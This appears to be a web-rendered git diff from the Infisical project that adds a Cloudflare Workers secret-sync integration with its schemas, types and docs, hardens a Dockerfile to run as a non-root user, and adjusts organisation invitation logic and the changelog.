return { ...identityAccessTokenOrm, findOne, removeExpiredTokens }; return { ...identityAccessTokenOrm, findOne, removeExpiredTokens };

View File

@ -912,14 +912,6 @@ export const orgServiceFactory = ({
// if there exist no org membership we set is as given by the request // if there exist no org membership we set is as given by the request
if (!inviteeOrgMembership) { if (!inviteeOrgMembership) {
if (plan?.slug !== "enterprise" && plan?.memberLimit && plan.membersUsed >= plan.memberLimit) {
// limit imposed on number of members allowed / number of members used exceeds the number of members allowed
throw new BadRequestError({
name: "InviteUser",
message: "Failed to invite member due to member limit reached. Upgrade plan to invite more members."
});
}
if (plan?.slug !== "enterprise" && plan?.identityLimit && plan.identitiesUsed >= plan.identityLimit) { if (plan?.slug !== "enterprise" && plan?.identityLimit && plan.identitiesUsed >= plan.identityLimit) {
// limit imposed on number of identities allowed / number of identities used exceeds the number of identities allowed // limit imposed on number of identities allowed / number of identities used exceeds the number of identities allowed
throw new BadRequestError({ throw new BadRequestError({
@ -1282,6 +1274,8 @@ export const orgServiceFactory = ({
message: "No pending invitation found" message: "No pending invitation found"
}); });
const organization = await orgDAL.findById(orgId);
await tokenService.validateTokenForUser({ await tokenService.validateTokenForUser({
type: TokenType.TOKEN_EMAIL_ORG_INVITATION, type: TokenType.TOKEN_EMAIL_ORG_INVITATION,
userId: user.id, userId: user.id,
@ -1304,6 +1298,13 @@ export const orgServiceFactory = ({
return { user }; return { user };
} }
if (
organization.authEnforced &&
!(organization.bypassOrgAuthEnabled && orgMembership.role === OrgMembershipRole.Admin)
) {
return { user };
}
const appCfg = getConfig(); const appCfg = getConfig();
const token = jwt.sign( const token = jwt.sign(
{ {

View File

@ -17,7 +17,7 @@ export const AzureDevOpsSyncDestinationConfigSchema = z.object({
.describe(SecretSyncs.DESTINATION_CONFIG.AZURE_DEVOPS?.devopsProjectId || "Azure DevOps Project ID"), .describe(SecretSyncs.DESTINATION_CONFIG.AZURE_DEVOPS?.devopsProjectId || "Azure DevOps Project ID"),
devopsProjectName: z devopsProjectName: z
.string() .string()
.min(1, "Project name required") .optional()
.describe(SecretSyncs.DESTINATION_CONFIG.AZURE_DEVOPS?.devopsProjectName || "Azure DevOps Project Name") .describe(SecretSyncs.DESTINATION_CONFIG.AZURE_DEVOPS?.devopsProjectName || "Azure DevOps Project Name")
}); });

View File

@ -0,0 +1,10 @@
import { AppConnection } from "@app/services/app-connection/app-connection-enums";
import { SecretSync } from "@app/services/secret-sync/secret-sync-enums";
import { TSecretSyncListItem } from "@app/services/secret-sync/secret-sync-types";
export const CLOUDFLARE_WORKERS_SYNC_LIST_OPTION: TSecretSyncListItem = {
name: "Cloudflare Workers",
destination: SecretSync.CloudflareWorkers,
connection: AppConnection.Cloudflare,
canImportSecrets: false
};

View File

@ -0,0 +1,121 @@
import { request } from "@app/lib/config/request";
import { applyJitter } from "@app/lib/dates";
import { delay as delayMs } from "@app/lib/delay";
import { IntegrationUrls } from "@app/services/integration-auth/integration-list";
import { matchesSchema } from "@app/services/secret-sync/secret-sync-fns";
import { TSecretMap } from "@app/services/secret-sync/secret-sync-types";
import { SECRET_SYNC_NAME_MAP } from "../secret-sync-maps";
import { TCloudflareWorkersSyncWithCredentials } from "./cloudflare-workers-types";
const getSecretKeys = async (secretSync: TCloudflareWorkersSyncWithCredentials): Promise<string[]> => {
const {
destinationConfig,
connection: {
credentials: { apiToken, accountId }
}
} = secretSync;
const { data } = await request.get<{
result: Array<{ name: string }>;
}>(
`${IntegrationUrls.CLOUDFLARE_WORKERS_API_URL}/client/v4/accounts/${accountId}/workers/scripts/${destinationConfig.scriptId}/secrets`,
{
headers: {
Authorization: `Bearer ${apiToken}`,
Accept: "application/json"
}
}
);
return data.result.map((s) => s.name);
};
export const CloudflareWorkersSyncFns = {
syncSecrets: async (secretSync: TCloudflareWorkersSyncWithCredentials, secretMap: TSecretMap) => {
const {
connection: {
credentials: { apiToken, accountId }
},
destinationConfig: { scriptId }
} = secretSync;
const existingSecretNames = await getSecretKeys(secretSync);
const secretMapKeys = new Set(Object.keys(secretMap));
for await (const [key, val] of Object.entries(secretMap)) {
await delayMs(Math.max(0, applyJitter(100, 200)));
await request.put(
`${IntegrationUrls.CLOUDFLARE_WORKERS_API_URL}/client/v4/accounts/${accountId}/workers/scripts/${scriptId}/secrets`,
{ name: key, text: val.value, type: "secret_text" },
{
headers: {
Authorization: `Bearer ${apiToken}`,
"Content-Type": "application/json"
}
}
);
}
if (!secretSync.syncOptions.disableSecretDeletion) {
const secretsToDelete = existingSecretNames.filter((existingKey) => {
const isManagedBySchema = matchesSchema(
existingKey,
secretSync.environment?.slug || "",
secretSync.syncOptions.keySchema
);
const isInNewSecretMap = secretMapKeys.has(existingKey);
return !isInNewSecretMap && isManagedBySchema;
});
for await (const key of secretsToDelete) {
await delayMs(Math.max(0, applyJitter(100, 200)));
await request.delete(
`${IntegrationUrls.CLOUDFLARE_WORKERS_API_URL}/client/v4/accounts/${accountId}/workers/scripts/${scriptId}/secrets/${key}`,
{
headers: {
Authorization: `Bearer ${apiToken}`
}
}
);
}
}
},
getSecrets: async (secretSync: TCloudflareWorkersSyncWithCredentials): Promise<TSecretMap> => {
throw new Error(`${SECRET_SYNC_NAME_MAP[secretSync.destination]} does not support importing secrets.`);
},
removeSecrets: async (secretSync: TCloudflareWorkersSyncWithCredentials, secretMap: TSecretMap) => {
const {
connection: {
credentials: { apiToken, accountId }
},
destinationConfig: { scriptId }
} = secretSync;
const existingSecretNames = await getSecretKeys(secretSync);
const secretMapToRemoveKeys = new Set(Object.keys(secretMap));
for await (const existingKey of existingSecretNames) {
const isManagedBySchema = matchesSchema(
existingKey,
secretSync.environment?.slug || "",
secretSync.syncOptions.keySchema
);
const isInSecretMapToRemove = secretMapToRemoveKeys.has(existingKey);
if (isInSecretMapToRemove && isManagedBySchema) {
await delayMs(Math.max(0, applyJitter(100, 200)));
await request.delete(
`${IntegrationUrls.CLOUDFLARE_WORKERS_API_URL}/client/v4/accounts/${accountId}/workers/scripts/${scriptId}/secrets/${existingKey}`,
{
headers: {
Authorization: `Bearer ${apiToken}`
}
}
);
}
}
}
};

View File

@ -0,0 +1,55 @@
import RE2 from "re2";
import { z } from "zod";
import { SecretSyncs } from "@app/lib/api-docs";
import { AppConnection } from "@app/services/app-connection/app-connection-enums";
import { SecretSync } from "@app/services/secret-sync/secret-sync-enums";
import {
BaseSecretSyncSchema,
GenericCreateSecretSyncFieldsSchema,
GenericUpdateSecretSyncFieldsSchema
} from "@app/services/secret-sync/secret-sync-schemas";
import { TSyncOptionsConfig } from "@app/services/secret-sync/secret-sync-types";
const CloudflareWorkersSyncDestinationConfigSchema = z.object({
scriptId: z
.string()
.min(1, "Script ID is required")
.max(64)
.refine((val) => {
const re2 = new RE2(/^[a-z0-9]([a-z0-9-]*[a-z0-9])?$/);
return re2.test(val);
}, "Invalid script ID format")
.describe(SecretSyncs.DESTINATION_CONFIG.CLOUDFLARE_WORKERS.scriptId)
});
const CloudflareWorkersSyncOptionsConfig: TSyncOptionsConfig = { canImportSecrets: false };
export const CloudflareWorkersSyncSchema = BaseSecretSyncSchema(
SecretSync.CloudflareWorkers,
CloudflareWorkersSyncOptionsConfig
).extend({
destination: z.literal(SecretSync.CloudflareWorkers),
destinationConfig: CloudflareWorkersSyncDestinationConfigSchema
});
export const CreateCloudflareWorkersSyncSchema = GenericCreateSecretSyncFieldsSchema(
SecretSync.CloudflareWorkers,
CloudflareWorkersSyncOptionsConfig
).extend({
destinationConfig: CloudflareWorkersSyncDestinationConfigSchema
});
export const UpdateCloudflareWorkersSyncSchema = GenericUpdateSecretSyncFieldsSchema(
SecretSync.CloudflareWorkers,
CloudflareWorkersSyncOptionsConfig
).extend({
destinationConfig: CloudflareWorkersSyncDestinationConfigSchema.optional()
});
export const CloudflareWorkersSyncListItemSchema = z.object({
name: z.literal("Cloudflare Workers"),
connection: z.literal(AppConnection.Cloudflare),
destination: z.literal(SecretSync.CloudflareWorkers),
canImportSecrets: z.literal(false)
});

View File

@ -0,0 +1,19 @@
import z from "zod";
import { TCloudflareConnection } from "@app/services/app-connection/cloudflare/cloudflare-connection-types";
import {
CloudflareWorkersSyncListItemSchema,
CloudflareWorkersSyncSchema,
CreateCloudflareWorkersSyncSchema
} from "./cloudflare-workers-schemas";
export type TCloudflareWorkersSyncListItem = z.infer<typeof CloudflareWorkersSyncListItemSchema>;
export type TCloudflareWorkersSync = z.infer<typeof CloudflareWorkersSyncSchema>;
export type TCloudflareWorkersSyncInput = z.infer<typeof CreateCloudflareWorkersSyncSchema>;
export type TCloudflareWorkersSyncWithCredentials = TCloudflareWorkersSync & {
connection: TCloudflareConnection;
};

View File

@ -0,0 +1,4 @@
export * from "./cloudflare-workers-constants";
export * from "./cloudflare-workers-fns";
export * from "./cloudflare-workers-schemas";
export * from "./cloudflare-workers-types";

View File

@ -21,6 +21,8 @@ export enum SecretSync {
Flyio = "flyio", Flyio = "flyio",
GitLab = "gitlab", GitLab = "gitlab",
CloudflarePages = "cloudflare-pages", CloudflarePages = "cloudflare-pages",
CloudflareWorkers = "cloudflare-workers",
Zabbix = "zabbix", Zabbix = "zabbix",
Railway = "railway" Railway = "railway"
} }

View File

@ -31,6 +31,7 @@ import { AZURE_KEY_VAULT_SYNC_LIST_OPTION, azureKeyVaultSyncFactory } from "./az
import { CAMUNDA_SYNC_LIST_OPTION, camundaSyncFactory } from "./camunda"; import { CAMUNDA_SYNC_LIST_OPTION, camundaSyncFactory } from "./camunda";
import { CLOUDFLARE_PAGES_SYNC_LIST_OPTION } from "./cloudflare-pages/cloudflare-pages-constants"; import { CLOUDFLARE_PAGES_SYNC_LIST_OPTION } from "./cloudflare-pages/cloudflare-pages-constants";
import { CloudflarePagesSyncFns } from "./cloudflare-pages/cloudflare-pages-fns"; import { CloudflarePagesSyncFns } from "./cloudflare-pages/cloudflare-pages-fns";
import { CLOUDFLARE_WORKERS_SYNC_LIST_OPTION, CloudflareWorkersSyncFns } from "./cloudflare-workers";
import { FLYIO_SYNC_LIST_OPTION, FlyioSyncFns } from "./flyio"; import { FLYIO_SYNC_LIST_OPTION, FlyioSyncFns } from "./flyio";
import { GCP_SYNC_LIST_OPTION } from "./gcp"; import { GCP_SYNC_LIST_OPTION } from "./gcp";
import { GcpSyncFns } from "./gcp/gcp-sync-fns"; import { GcpSyncFns } from "./gcp/gcp-sync-fns";
@ -72,6 +73,8 @@ const SECRET_SYNC_LIST_OPTIONS: Record<SecretSync, TSecretSyncListItem> = {
[SecretSync.Flyio]: FLYIO_SYNC_LIST_OPTION, [SecretSync.Flyio]: FLYIO_SYNC_LIST_OPTION,
[SecretSync.GitLab]: GITLAB_SYNC_LIST_OPTION, [SecretSync.GitLab]: GITLAB_SYNC_LIST_OPTION,
[SecretSync.CloudflarePages]: CLOUDFLARE_PAGES_SYNC_LIST_OPTION, [SecretSync.CloudflarePages]: CLOUDFLARE_PAGES_SYNC_LIST_OPTION,
[SecretSync.CloudflareWorkers]: CLOUDFLARE_WORKERS_SYNC_LIST_OPTION,
[SecretSync.Zabbix]: ZABBIX_SYNC_LIST_OPTION, [SecretSync.Zabbix]: ZABBIX_SYNC_LIST_OPTION,
[SecretSync.Railway]: RAILWAY_SYNC_LIST_OPTION [SecretSync.Railway]: RAILWAY_SYNC_LIST_OPTION
}; };
@ -241,6 +244,8 @@ export const SecretSyncFns = {
return GitLabSyncFns.syncSecrets(secretSync, schemaSecretMap, { appConnectionDAL, kmsService }); return GitLabSyncFns.syncSecrets(secretSync, schemaSecretMap, { appConnectionDAL, kmsService });
case SecretSync.CloudflarePages: case SecretSync.CloudflarePages:
return CloudflarePagesSyncFns.syncSecrets(secretSync, schemaSecretMap); return CloudflarePagesSyncFns.syncSecrets(secretSync, schemaSecretMap);
case SecretSync.CloudflareWorkers:
return CloudflareWorkersSyncFns.syncSecrets(secretSync, schemaSecretMap);
case SecretSync.Zabbix: case SecretSync.Zabbix:
return ZabbixSyncFns.syncSecrets(secretSync, schemaSecretMap); return ZabbixSyncFns.syncSecrets(secretSync, schemaSecretMap);
case SecretSync.Railway: case SecretSync.Railway:
@ -337,6 +342,9 @@ export const SecretSyncFns = {
case SecretSync.CloudflarePages: case SecretSync.CloudflarePages:
secretMap = await CloudflarePagesSyncFns.getSecrets(secretSync); secretMap = await CloudflarePagesSyncFns.getSecrets(secretSync);
break; break;
case SecretSync.CloudflareWorkers:
secretMap = await CloudflareWorkersSyncFns.getSecrets(secretSync);
break;
case SecretSync.Zabbix: case SecretSync.Zabbix:
secretMap = await ZabbixSyncFns.getSecrets(secretSync); secretMap = await ZabbixSyncFns.getSecrets(secretSync);
break; break;
@ -420,6 +428,8 @@ export const SecretSyncFns = {
return GitLabSyncFns.removeSecrets(secretSync, schemaSecretMap, { appConnectionDAL, kmsService }); return GitLabSyncFns.removeSecrets(secretSync, schemaSecretMap, { appConnectionDAL, kmsService });
case SecretSync.CloudflarePages: case SecretSync.CloudflarePages:
return CloudflarePagesSyncFns.removeSecrets(secretSync, schemaSecretMap); return CloudflarePagesSyncFns.removeSecrets(secretSync, schemaSecretMap);
case SecretSync.CloudflareWorkers:
return CloudflareWorkersSyncFns.removeSecrets(secretSync, schemaSecretMap);
case SecretSync.Zabbix: case SecretSync.Zabbix:
return ZabbixSyncFns.removeSecrets(secretSync, schemaSecretMap); return ZabbixSyncFns.removeSecrets(secretSync, schemaSecretMap);
case SecretSync.Railway: case SecretSync.Railway:

View File

@ -24,6 +24,8 @@ export const SECRET_SYNC_NAME_MAP: Record<SecretSync, string> = {
[SecretSync.Flyio]: "Fly.io", [SecretSync.Flyio]: "Fly.io",
[SecretSync.GitLab]: "GitLab", [SecretSync.GitLab]: "GitLab",
[SecretSync.CloudflarePages]: "Cloudflare Pages", [SecretSync.CloudflarePages]: "Cloudflare Pages",
[SecretSync.CloudflareWorkers]: "Cloudflare Workers",
[SecretSync.Zabbix]: "Zabbix", [SecretSync.Zabbix]: "Zabbix",
[SecretSync.Railway]: "Railway" [SecretSync.Railway]: "Railway"
}; };
@ -51,6 +53,8 @@ export const SECRET_SYNC_CONNECTION_MAP: Record<SecretSync, AppConnection> = {
[SecretSync.Flyio]: AppConnection.Flyio, [SecretSync.Flyio]: AppConnection.Flyio,
[SecretSync.GitLab]: AppConnection.GitLab, [SecretSync.GitLab]: AppConnection.GitLab,
[SecretSync.CloudflarePages]: AppConnection.Cloudflare, [SecretSync.CloudflarePages]: AppConnection.Cloudflare,
[SecretSync.CloudflareWorkers]: AppConnection.Cloudflare,
[SecretSync.Zabbix]: AppConnection.Zabbix, [SecretSync.Zabbix]: AppConnection.Zabbix,
[SecretSync.Railway]: AppConnection.Railway [SecretSync.Railway]: AppConnection.Railway
}; };
@ -78,6 +82,8 @@ export const SECRET_SYNC_PLAN_MAP: Record<SecretSync, SecretSyncPlanType> = {
[SecretSync.Flyio]: SecretSyncPlanType.Regular, [SecretSync.Flyio]: SecretSyncPlanType.Regular,
[SecretSync.GitLab]: SecretSyncPlanType.Regular, [SecretSync.GitLab]: SecretSyncPlanType.Regular,
[SecretSync.CloudflarePages]: SecretSyncPlanType.Regular, [SecretSync.CloudflarePages]: SecretSyncPlanType.Regular,
[SecretSync.CloudflareWorkers]: SecretSyncPlanType.Regular,
[SecretSync.Zabbix]: SecretSyncPlanType.Regular, [SecretSync.Zabbix]: SecretSyncPlanType.Regular,
[SecretSync.Railway]: SecretSyncPlanType.Regular [SecretSync.Railway]: SecretSyncPlanType.Regular
}; };

View File

@ -78,6 +78,12 @@ import {
TCloudflarePagesSyncListItem, TCloudflarePagesSyncListItem,
TCloudflarePagesSyncWithCredentials TCloudflarePagesSyncWithCredentials
} from "./cloudflare-pages/cloudflare-pages-types"; } from "./cloudflare-pages/cloudflare-pages-types";
import {
TCloudflareWorkersSync,
TCloudflareWorkersSyncInput,
TCloudflareWorkersSyncListItem,
TCloudflareWorkersSyncWithCredentials
} from "./cloudflare-workers";
import { TFlyioSync, TFlyioSyncInput, TFlyioSyncListItem, TFlyioSyncWithCredentials } from "./flyio/flyio-sync-types"; import { TFlyioSync, TFlyioSyncInput, TFlyioSyncListItem, TFlyioSyncWithCredentials } from "./flyio/flyio-sync-types";
import { TGcpSync, TGcpSyncInput, TGcpSyncListItem, TGcpSyncWithCredentials } from "./gcp"; import { TGcpSync, TGcpSyncInput, TGcpSyncListItem, TGcpSyncWithCredentials } from "./gcp";
import { TGitLabSync, TGitLabSyncInput, TGitLabSyncListItem, TGitLabSyncWithCredentials } from "./gitlab"; import { TGitLabSync, TGitLabSyncInput, TGitLabSyncListItem, TGitLabSyncWithCredentials } from "./gitlab";
@ -144,6 +150,7 @@ export type TSecretSync =
| TFlyioSync | TFlyioSync
| TGitLabSync | TGitLabSync
| TCloudflarePagesSync | TCloudflarePagesSync
| TCloudflareWorkersSync
| TZabbixSync | TZabbixSync
| TRailwaySync; | TRailwaySync;
@ -170,6 +177,7 @@ export type TSecretSyncWithCredentials =
| TFlyioSyncWithCredentials | TFlyioSyncWithCredentials
| TGitLabSyncWithCredentials | TGitLabSyncWithCredentials
| TCloudflarePagesSyncWithCredentials | TCloudflarePagesSyncWithCredentials
| TCloudflareWorkersSyncWithCredentials
| TZabbixSyncWithCredentials | TZabbixSyncWithCredentials
| TRailwaySyncWithCredentials; | TRailwaySyncWithCredentials;
@ -196,6 +204,7 @@ export type TSecretSyncInput =
| TFlyioSyncInput | TFlyioSyncInput
| TGitLabSyncInput | TGitLabSyncInput
| TCloudflarePagesSyncInput | TCloudflarePagesSyncInput
| TCloudflareWorkersSyncInput
| TZabbixSyncInput | TZabbixSyncInput
| TRailwaySyncInput; | TRailwaySyncInput;
@ -222,6 +231,7 @@ export type TSecretSyncListItem =
| TFlyioSyncListItem | TFlyioSyncListItem
| TGitLabSyncListItem | TGitLabSyncListItem
| TCloudflarePagesSyncListItem | TCloudflarePagesSyncListItem
| TCloudflareWorkersSyncListItem
| TZabbixSyncListItem | TZabbixSyncListItem
| TRailwaySyncListItem; | TRailwaySyncListItem;

View File

@ -19,13 +19,17 @@ FROM node:20-alpine
WORKDIR /app WORKDIR /app
RUN npm install -g mint@4.2.13 RUN addgroup -g 1001 -S mintuser && \
adduser -S -D -H -u 1001 -s /sbin/nologin -G mintuser mintuser && \
npm install -g mint@4.2.13
COPY . . COPY --chown=mintuser:mintuser . .
COPY --from=builder /root/.mintlify /root/.mintlify COPY --from=builder --chown=mintuser:mintuser /root/.mintlify /home/mintuser/.mintlify
COPY --from=builder /app/docs.json /app/docs.json COPY --from=builder --chown=mintuser:mintuser /app/docs.json /app/docs.json
COPY --from=builder /app/spec.json /app/spec.json COPY --from=builder --chown=mintuser:mintuser /app/spec.json /app/spec.json
USER mintuser
EXPOSE 3000 EXPOSE 3000

View File

@ -0,0 +1,4 @@
---
title: "Create"
openapi: "POST /api/v1/secret-syncs/cloudflare-workers"
---

View File

@ -0,0 +1,4 @@
---
title: "Delete"
openapi: "DELETE /api/v1/secret-syncs/cloudflare-workers/{syncId}"
---

View File

@ -0,0 +1,4 @@
---
title: "Get by ID"
openapi: "GET /api/v1/secret-syncs/cloudflare-workers/{syncId}"
---

View File

@ -0,0 +1,4 @@
---
title: "Get by Name"
openapi: "GET /api/v1/secret-syncs/cloudflare-workers/sync-name/{syncName}"
---

View File

@ -0,0 +1,4 @@
---
title: "List"
openapi: "GET /api/v1/secret-syncs/cloudflare-workers"
---

View File

@ -0,0 +1,4 @@
---
title: "Remove Secrets"
openapi: "POST /api/v1/secret-syncs/cloudflare-workers/{syncId}/remove-secrets"
---

View File

@ -0,0 +1,4 @@
---
title: "Sync Secrets"
openapi: "POST /api/v1/secret-syncs/cloudflare-workers/{syncId}/sync-secrets"
---

View File

@ -0,0 +1,4 @@
---
title: "Update"
openapi: "PATCH /api/v1/secret-syncs/cloudflare-workers/{syncId}"
---

View File

@ -4,6 +4,61 @@ title: "Changelog"
The changelog below reflects new product developments and updates on a monthly basis. The changelog below reflects new product developments and updates on a monthly basis.
## July 2025
- Improved speed performance of audit log filtering.
- Revamped password reset flow pages.
- Added support for [Bitbucket for Secret Scanning](https://infisical.com/docs/documentation/platform/secret-scanning/bitbucket).
- Released Secret Sync for [Zabbix](https://infisical.com/docs/integrations/secret-syncs/zabbix).
## June 2025
- Released Secret Sync for [1Password](https://infisical.com/docs/integrations/secret-syncs/1password), [Heroku](https://infisical.com/docs/integrations/secret-syncs/heroku), [Fly.io](https://infisical.com/docs/integrations/secret-syncs/flyio), and [Render](https://infisical.com/docs/integrations/secret-syncs/render).
- Added support for [Kubernetes dynamic secrets](https://infisical.com/docs/documentation/platform/dynamic-secrets/kubernetes) to generate service account tokens
- Released Secret Rotation for [MySQL](https://infisical.com/docs/documentation/platform/secret-rotation/mysql-credentials) and [OracleDB](https://infisical.com/docs/documentation/platform/secret-rotation/oracledb-credentials) as well as Dynamic Secrets for [Vertica](https://infisical.com/docs/documentation/platform/dynamic-secrets/vertica) and [GitHub App Tokens](https://infisical.com/docs/documentation/platform/dynamic-secrets/github).
- Added support for Azure Auth in ESO.
- [Kubernetes auth](https://infisical.com/docs/documentation/platform/identities/kubernetes-auth) now supports gateway as a token reviewer.
- Revamped [Infisical CLI](https://infisical.com/docs/cli/commands/login) to auto-open login link.
- Rolled out [Infisical Packer integration](https://infisical.com/docs/integrations/frameworks/packer).
- Released [AliCloud Authentication method](https://infisical.com/docs/documentation/platform/identities/alicloud-auth).
- Added support for [multi-step approval workflows](https://infisical.com/docs/documentation/platform/pr-workflows).
- Revamped UI for Access Controls, Access Tree, Policies, and Approval Workflows.
- Released [TLS Certificate Authentication method](https://infisical.com/docs/documentation/platform/identities/tls-cert-auth).
- Added ability to copy session tokens in the Infisical Dashboard.
- Expanded resource support for [Infisical Terraform Provider](https://infisical.com/docs/integrations/frameworks/terraform).
## May 2025
- Added support for [Microsoft Teams integration](https://infisical.com/docs/documentation/platform/workflow-integrations/microsoft-teams-integration).
- Released [Infisical Gateway](https://infisical.com/docs/documentation/platform/gateways/overview) for accessing private network resources from Infisical.
- Added support for [Host Groups](https://infisical.com/docs/documentation/platform/ssh/host-groups) in Infisical SSH.
- Updated the designs of all emails send by Infisical.
- Added secret rotation support for [Azure Client](https://infisical.com/docs/documentation/platform/secret-rotation/azure-client-secret).
- Released secret sync for [HashiCorp Vault](https://infisical.com/docs/integrations/secret-syncs/hashicorp-vault).
- Made significant improvements to [Infisical Secret Scanning](https://infisical.com/docs/documentation/platform/secret-scanning/overview).
- Released [Infisical ACME Client](https://infisical.com/docs/documentation/platform/pki/acme-ca#certificates-with-acme-ca).
- [Access requests](https://infisical.com/docs/documentation/platform/access-controls/access-requests) now support "break-glass" policies.
- Updated [Point-in-time Recovery](https://infisical.com/docs/documentation/platform/pit-recovery) UI/UX.
- Redesigned [Approval Workflows and Change Requests](https://infisical.com/docs/documentation/platform/pr-workflows) user interface.
## April 2025
- Released ability to [request access to projects](https://infisical.com/docs/documentation/platform/access-controls/project-access-requests#project-access-requests).
- Updated UI for Audit Logs and Log Filtering.
- Launched [Infisical SSH V2](https://infisical.com/docs/documentation/platform/ssh/overview).
- Developer [Infisical MCP](https://github.com/Infisical/infisical-mcp-server).
- Added support for [Spotify Backstage Infisical plugin](https://infisical.com/docs/integrations/external/backstage).
- Added secret syncs for Terraform Cloud, Vercel, Windmill, TeamCity, and Camunda.
- Released [Auth0 Client Secret Rotation](https://infisical.com/docs/documentation/platform/secret-rotation/auth0-client-secret).
- Launched [Infisical C++ SDK](https://github.com/Infisical/infisical-cpp-sdk).
- Service tokens will now get expiry notifications.
- Added Infisical [Linux binary](https://infisical.com/docs/self-hosting/reference-architectures/linux-deployment-ha#linux-ha).
- Released ability to perform user impersonation.
- Added support for [LDAP password rotation](https://infisical.com/docs/documentation/platform/secret-rotation/ldap-password).
## March 2025 ## March 2025
- Released [Infisical Gateway](https://infisical.com/docs/documentation/platform/gateways/overview) for secure access to private resources without needing direct inbound connections to private networks. - Released [Infisical Gateway](https://infisical.com/docs/documentation/platform/gateways/overview) for secure access to private resources without needing direct inbound connections to private networks.

View File

@ -514,6 +514,7 @@
"integrations/secret-syncs/azure-key-vault", "integrations/secret-syncs/azure-key-vault",
"integrations/secret-syncs/camunda", "integrations/secret-syncs/camunda",
"integrations/secret-syncs/cloudflare-pages", "integrations/secret-syncs/cloudflare-pages",
"integrations/secret-syncs/cloudflare-workers",
"integrations/secret-syncs/databricks", "integrations/secret-syncs/databricks",
"integrations/secret-syncs/flyio", "integrations/secret-syncs/flyio",
"integrations/secret-syncs/gcp-secret-manager", "integrations/secret-syncs/gcp-secret-manager",
@ -1720,6 +1721,19 @@
"api-reference/endpoints/secret-syncs/cloudflare-pages/remove-secrets" "api-reference/endpoints/secret-syncs/cloudflare-pages/remove-secrets"
] ]
}, },
{
"group": "Cloudflare Workers",
"pages": [
"api-reference/endpoints/secret-syncs/cloudflare-workers/list",
"api-reference/endpoints/secret-syncs/cloudflare-workers/get-by-id",
"api-reference/endpoints/secret-syncs/cloudflare-workers/get-by-name",
"api-reference/endpoints/secret-syncs/cloudflare-workers/create",
"api-reference/endpoints/secret-syncs/cloudflare-workers/update",
"api-reference/endpoints/secret-syncs/cloudflare-workers/delete",
"api-reference/endpoints/secret-syncs/cloudflare-workers/sync-secrets",
"api-reference/endpoints/secret-syncs/cloudflare-workers/remove-secrets"
]
},
{ {
"group": "Databricks", "group": "Databricks",
"pages": [ "pages": [
@ -2175,6 +2189,7 @@
"sdks/languages/python", "sdks/languages/python",
"sdks/languages/java", "sdks/languages/java",
"sdks/languages/csharp", "sdks/languages/csharp",
"sdks/languages/cpp",
"sdks/languages/go", "sdks/languages/go",
"sdks/languages/ruby" "sdks/languages/ruby"
] ]

Binary file not shown.

After

Width:  |  Height:  |  Size: 325 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 966 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 578 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 575 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 624 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 598 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 558 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 637 KiB

View File

@ -35,6 +35,17 @@ Infisical supports connecting to Cloudflare using API tokens and Account ID for
- **Account** - **Cloudflare Pages** - **Edit** - **Account** - **Cloudflare Pages** - **Edit**
- **Account** - **Account Settings** - **Read** - **Account** - **Account Settings** - **Read**
Add these permissions to your API token and click **Continue to summary**, then **Create Token** to generate your API token.
</Accordion>
<Accordion title="Cloudflare Workers">
Use the following permissions to grant Infisical access to sync secrets to Cloudflare Workers:
![Configure Token](/images/app-connections/cloudflare/cloudflare-workers-configure-permissions.png)
**Required Permissions:**
- **Account** - **Workers Scripts** - **Edit**
- **Account** - **Account Settings** - **Read**
Add these permissions to your API token and click **Continue to summary**, then **Create Token** to generate your API token. Add these permissions to your API token and click **Continue to summary**, then **Create Token** to generate your API token.
</Accordion> </Accordion>
</AccordionGroup> </AccordionGroup>
@ -44,7 +55,7 @@ Infisical supports connecting to Cloudflare using API tokens and Account ID for
</Step> </Step>
<Step title="Save Your API Token"> <Step title="Save Your API Token">
After creation, copy and securely store your API token as it will not be shown again. After creation, copy and securely store your API token as it will not be shown again.
![Generated API Token](/images/app-connections/cloudflare/cloudflare-generated-token.png) ![Generated API Token](/images/app-connections/cloudflare/cloudflare-generated-token.png)
<Warning> <Warning>

View File

@ -0,0 +1,128 @@
---
title: "Cloudflare Workers Sync"
description: "Learn how to configure a Cloudflare Workers Sync for Infisical."
---
**Prerequisites:**
- Set up and add secrets to [Infisical Cloud](https://app.infisical.com)
- Create a [Cloudflare Connection](/integrations/app-connections/cloudflare)
<Tabs>
<Tab title="Infisical UI">
1. Navigate to **Project** > **Integrations** and select the **Secret Syncs** tab. Click on the **Add Sync** button.
![Secret Syncs Tab](/images/secret-syncs/general/secret-sync-tab.png)
2. Select the **Cloudflare Workers** option.
![Select Cloudflare Workers](/images/secret-syncs/cloudflare-workers/select-cloudflare-workers-option.png)
3. Configure the **Source** from where secrets should be retrieved, then click **Next**.
![Configure Source](/images/secret-syncs/cloudflare-workers/cloudflare-workers-sync-source.png)
- **Environment**: The project environment to retrieve secrets from.
- **Secret Path**: The folder path to retrieve secrets from.
<Tip>
If you need to sync secrets from multiple folder locations, check out [secret imports](/documentation/platform/secret-reference#secret-imports).
</Tip>
4. Configure the **Destination** to where secrets should be deployed, then click **Next**.
![Configure Destination](/images/secret-syncs/cloudflare-workers/cloudflare-workers-sync-destination.png)
- **Cloudflare Connection**: The Cloudflare Connection to authenticate with.
- **Cloudflare Workers Script**: Choose the Cloudflare Workers script you want to sync secrets to.
5. Configure the **Sync Options** to specify how secrets should be synced, then click **Next**.
![Configure Options](/images/secret-syncs/cloudflare-workers/cloudflare-workers-sync-options.png)
- **Initial Sync Behavior**: Determines how Infisical should resolve the initial sync.
- **Overwrite Destination Secrets**: Removes any secrets at the destination endpoint not present in Infisical.
- **Key Schema**: Template that determines how secret names are transformed when syncing, using `{{secretKey}}` as a placeholder for the original secret name and `{{environment}}` for the environment.
- **Auto-Sync Enabled**: If enabled, secrets will automatically be synced from the source location when changes occur. Disable to enforce manual syncing only.
- **Disable Secret Deletion**: If enabled, Infisical will not remove secrets from the sync destination. Enable this option if you intend to manage some secrets manually outside of Infisical.
6. Configure the **Details** of your Cloudflare Workers Sync, then click **Next**.
![Configure Details](/images/secret-syncs/cloudflare-workers/cloudflare-workers-sync-details.png)
- **Name**: The name of your sync. Must be slug-friendly.
- **Description**: An optional description for your sync.
7. Review your Cloudflare Workers Sync configuration, then click **Create Sync**.
